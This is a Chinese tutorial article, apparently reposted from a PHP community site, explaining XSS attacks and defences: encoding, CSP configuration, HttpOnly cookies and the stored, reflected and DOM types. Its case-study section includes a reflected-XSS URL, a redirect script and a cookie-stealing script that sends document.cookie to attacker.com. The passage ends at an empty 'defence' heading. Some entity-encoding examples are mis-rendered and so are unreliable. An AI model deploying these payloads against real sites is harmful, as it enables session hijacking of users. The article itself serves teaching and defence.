什么是XSS 攻击，如何避免？

星降

发布时间：2025-08-23 08:02:02

946人浏览过

来源于php中文网

原创

xss攻击通过注入恶意脚本危害用户，主要类型有存储型、反射型和dom型；防御需在前后端进行输入验证、输出编码，使用csp、httponly cookie、安全框架和waf等措施。

什么是xss 攻击，如何避免？

XSS攻击是一种常见的Web安全漏洞，它允许攻击者将恶意脚本注入到其他用户浏览的网页中。要避免XSS攻击，关键在于对用户输入进行严格的验证和转义，并采用合适的安全策略。

解决方案：

输入验证和输出编码： 这是防止XSS攻击最核心的方法。
- 输入验证： 限制用户输入的内容类型和长度。例如，如果一个字段只接受数字，就拒绝任何包含非数字字符的输入。使用白名单方式验证输入，只允许已知的安全字符和格式。
- 输出编码： 对所有输出到页面的用户输入进行编码，确保浏览器将这些输入视为数据而不是可执行的代码。常见的编码方式包括HTML实体编码、URL编码和JavaScript编码。例如，将
```
<
```
  编码为
```
<
```
  ，
```
>
```
  编码为
```
>
```
  。
使用安全的模板引擎和框架： 许多现代Web框架都内置了XSS保护机制。这些框架会自动对输出进行编码，减少了手动处理的需要。例如，React、Angular和Vue.js等框架都提供了强大的XSS防御能力。
设置HTTP头部： 使用
```
Content-Security-Policy (CSP)
```
头部可以限制浏览器加载资源的来源，从而减少XSS攻击的风险。CSP允许你定义哪些域名可以加载脚本、样式表、图片等资源。例如：
```
Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com;
```
这行代码表示只允许从当前域名和
```
https://example.com
```
加载脚本。
使用HTTPOnly Cookie： 将Cookie设置为
```
HTTPOnly
```
，可以防止客户端脚本（例如JavaScript）访问Cookie，从而减少XSS攻击对Cookie的窃取。
定期安全审计和漏洞扫描： 定期进行安全审计和漏洞扫描，可以及时发现并修复XSS漏洞。可以使用专业的安全扫描工具，例如OWASP ZAP、Nessus等。
Web Application Firewall (WAF)： 部署WAF可以检测和阻止恶意请求，包括XSS攻击。WAF可以根据预定义的规则和策略，过滤掉包含恶意脚本的请求。

如何区分存储型XSS、反射型XSS和DOM型XSS？

XSS攻击主要分为三种类型：存储型XSS、反射型XSS和DOM型XSS。

存储型XSS（Persistent XSS）： 恶意脚本被永久保存在服务器端（例如数据库、文件系统等），当用户访问包含恶意脚本的页面时，脚本会被执行。例如，攻击者在一个论坛的帖子中插入恶意脚本，所有浏览该帖子的用户都会受到攻击。
- 防御方法： 对存储在服务器端的所有用户输入进行严格的验证和编码，确保恶意脚本无法被执行。
反射型XSS（Reflected XSS）： 恶意脚本通过URL参数、POST数据等方式发送到服务器，服务器将恶意脚本作为响应的一部分返回给用户，浏览器执行该脚本。例如，攻击者构造一个包含恶意脚本的URL，诱骗用户点击该URL，用户访问该URL时会受到攻击。
- 防御方法： 对所有来自URL参数、POST数据等的用户输入进行验证和编码，避免将未经验证的输入直接输出到页面。
DOM型XSS（DOM-based XSS）： 恶意脚本不经过服务器，直接在客户端通过JavaScript修改DOM结构来执行。例如，攻击者构造一个包含恶意脚本的URL，用户访问该URL时，客户端JavaScript会读取URL中的参数，并将参数插入到DOM中，如果参数中包含恶意脚本，脚本会被执行。
- 防御方法： 对所有来自客户端的数据（例如URL参数、Cookie等）进行验证和编码，避免将未经验证的数据直接插入到DOM中。使用安全的JavaScript API，例如
```
textContent
```
  而不是
```
innerHTML
```
  。

区分这三种类型的XSS攻击，有助于选择合适的防御策略。存储型XSS的危害最大，因为恶意脚本会被永久保存，影响范围广。反射型XSS和DOM型XSS的危害相对较小，但仍然需要重视。

Content-Security-Policy (CSP) 应该如何配置才能有效防御XSS？

CSP是一个强大的安全机制，通过限制浏览器加载资源的来源，可以有效防御XSS攻击。以下是一些配置CSP的建议：

default-src： 设置默认的资源加载策略。通常建议将其设置为
```
'self'
```
，表示只允许从当前域名加载资源。
```
Content-Security-Policy: default-src 'self';
```
script-src： 限制脚本的加载来源。可以指定允许加载脚本的域名，或者使用
```
'unsafe-inline'
```
允许执行内联脚本（不推荐）。
```
Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com;
```
如果必须使用内联脚本，可以使用
```
'nonce'
```
属性，为每个内联脚本生成一个唯一的随机数，并在CSP中指定该随机数。
```
<script nonce="random-value">
// 内联脚本
</script>

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random-value';
```
style-src： 限制样式表的加载来源。类似于
```
script-src
```
，可以指定允许加载样式表的域名，或者使用
```
'unsafe-inline'
```
允许使用内联样式（不推荐）。
```
Content-Security-Policy: default-src 'self'; style-src 'self' https://example.com;
```
img-src： 限制图片的加载来源。可以指定允许加载图片的域名。
```
Content-Security-Policy: default-src 'self'; img-src 'self' https://example.com;
```
connect-src： 限制XMLHttpRequest、WebSocket等连接的来源。可以指定允许连接的域名。
```
Content-Security-Policy: default-src 'self'; connect-src 'self' https://example.com;
```
font-src： 限制字体的加载来源。可以指定允许加载字体的域名。
```
Content-Security-Policy: default-src 'self'; font-src 'self' https://example.com;
```
object-src： 限制
```
<object>
```
、
```
@@@###@@@
```
、
```
<applet>
```
等元素的加载来源。通常建议将其设置为
```
'none'
```
，禁止加载这些元素，因为它们可能存在安全风险。

A1.art
一个创新的AI艺术应用平台，旨在简化和普及艺术创作

下载
```
Content-Security-Policy: default-src 'self'; object-src 'none';
```
base-uri： 限制
```
<base>
```
元素的URI。可以指定允许使用的base URI。
```
Content-Security-Policy: default-src 'self'; base-uri 'self';
```
form-action： 限制
```
<form>
```
元素的action属性。可以指定允许提交表单的URI。
```
Content-Security-Policy: default-src 'self'; form-action 'self';
```
upgrade-insecure-requests： 指示浏览器将所有不安全的HTTP请求升级为HTTPS请求。
```
Content-Security-Policy: default-src 'self'; upgrade-insecure-requests;
```
report-uri： 指定一个URI，用于接收CSP违规报告。当浏览器检测到CSP违规时，会向该URI发送一个JSON格式的报告。
```
Content-Security-Policy: default-src 'self'; report-uri /csp-report;
```

配置CSP时，建议从一个较为宽松的策略开始，逐步收紧。可以使用

Content-Security-Policy-Report-Only

头部来测试CSP策略，该头部不会阻止资源加载，只会发送违规报告。

如何在前端和后端分别进行XSS防御？

XSS防御需要在前端和后端同时进行，形成一个完整的安全体系。

前端防御：

输入验证： 限制用户输入的内容类型和长度。例如，使用正则表达式验证输入是否符合预期的格式。
输出编码： 对所有输出到页面的用户输入进行编码，确保浏览器将这些输入视为数据而不是可执行的代码。
- HTML实体编码： 将
```
<
```
  编码为
```
<
```
  ，
```
>
```
  编码为
```
>
```
  ，
```
"
```
  编码为
```
"
```
  ，
```
'
```
  编码为
```
&#x27;
```
  ，
```
&
```
  编码为
```
&
```
  。
- JavaScript编码： 对输出到JavaScript代码中的用户输入进行编码，例如使用
```
JSON.stringify()
```
  函数。
- URL编码： 对输出到URL中的用户输入进行编码，例如使用
```
encodeURIComponent()
```
  函数。
使用安全的JavaScript API： 避免使用
```
innerHTML
```
，而使用
```
textContent
```
或
```
createElement
```
和
```
appendChild
```
等API来操作DOM。
DOMPurify： 使用DOMPurify等库来对HTML进行清洗，移除恶意代码。

后端防御：

输入验证： 在后端对用户输入进行验证，防止恶意数据进入系统。
输出编码： 在后端对所有输出到页面的用户输入进行编码，确保浏览器将这些输入视为数据而不是可执行的代码。可以使用各种编程语言提供的编码函数，例如：
- Java： 使用
```
org.apache.commons.text.StringEscapeUtils
```
  类进行HTML编码。
- Python： 使用
```
html
```
  模块进行HTML编码。
- PHP： 使用
```
htmlspecialchars()
```
  函数进行HTML编码。
使用安全的模板引擎： 使用安全的模板引擎，例如Jinja2（Python）、Twig（PHP）等，这些模板引擎会自动对输出进行编码。
HTTPOnly Cookie： 将Cookie设置为
```
HTTPOnly
```
，防止客户端脚本访问Cookie。
Content-Security-Policy (CSP)： 在HTTP头部中设置CSP，限制浏览器加载资源的来源。

前后端协同防御，可以有效降低XSS攻击的风险。前端负责对用户输入进行初步的验证和编码，后端负责对数据进行更严格的验证和编码，并设置安全策略。

XSS攻击的案例分析：如何利用漏洞进行攻击？

假设一个Web应用存在反射型XSS漏洞，攻击者可以通过构造一个包含恶意脚本的URL，诱骗用户点击该URL，从而执行恶意脚本。

漏洞描述：

Web应用有一个搜索功能，用户可以在搜索框中输入关键词，然后在页面上显示搜索结果。但是，Web应用没有对用户输入的关键词进行编码，直接将关键词输出到页面上。

攻击步骤：

构造恶意URL： 攻击者构造一个包含恶意脚本的URL，例如：
```
https://example.com/search?keyword=<script>alert('XSS')</script>
```
诱骗用户点击URL： 攻击者通过电子邮件、社交媒体等方式，诱骗用户点击该URL。
执行恶意脚本： 当用户点击该URL时，浏览器会向服务器发送请求，服务器将包含恶意脚本的HTML页面返回给浏览器。浏览器执行该脚本，弹出一个包含"XSS"的警告框。

更高级的攻击：

除了弹出警告框，攻击者还可以利用XSS漏洞进行更高级的攻击，例如：

窃取Cookie： 攻击者可以使用JavaScript代码窃取用户的Cookie，并将Cookie发送到攻击者控制的服务器。
```
<script>
var cookie = document.cookie;
var img = new Image();
img.src = "https://attacker.com/log?cookie=" + cookie;
</script>
```
重定向用户： 攻击者可以使用JavaScript代码将用户重定向到恶意网站。
```
<script>
window.location.href = "https://attacker.com";
</script>
```
修改页面内容： 攻击者可以使用JavaScript代码修改页面的内容，例如插入恶意链接、篡改用户信息等。

防御方法：